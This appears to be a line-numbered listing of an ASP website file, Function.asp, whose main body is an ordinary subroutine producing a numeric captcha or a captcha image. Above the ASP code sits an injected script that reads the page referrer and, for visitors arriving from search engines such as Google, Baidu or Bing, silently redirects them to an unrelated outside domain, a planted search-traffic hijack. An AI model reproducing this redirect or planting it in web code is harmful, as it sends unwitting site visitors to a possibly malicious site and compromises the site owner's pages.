d:\wwwroot\wuchunhua\zhuce\inc\Function.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
003:
Sub GetSafeCode
004:
Dim test,Result
005:
On Error Resume Next
006:
Set test=Server.CreateObject("Adodb.Stream")
007:
Set test=Nothing
008:
If Err Then
009:
Dim zNum
010:
Randomize timer
011:
zNum = cint(8999*Rnd+1000)
012:
Session("SafeCode") = zNum
013:
Result = Session("SafeCode")
014:
Else
015:
Result = "<img src=""inc/Safecode.asp"" align=""absmiddle"">"
016:
End If
017:
Response.Write Result
018:
End Sub
019:
020:
%
>
021:
022: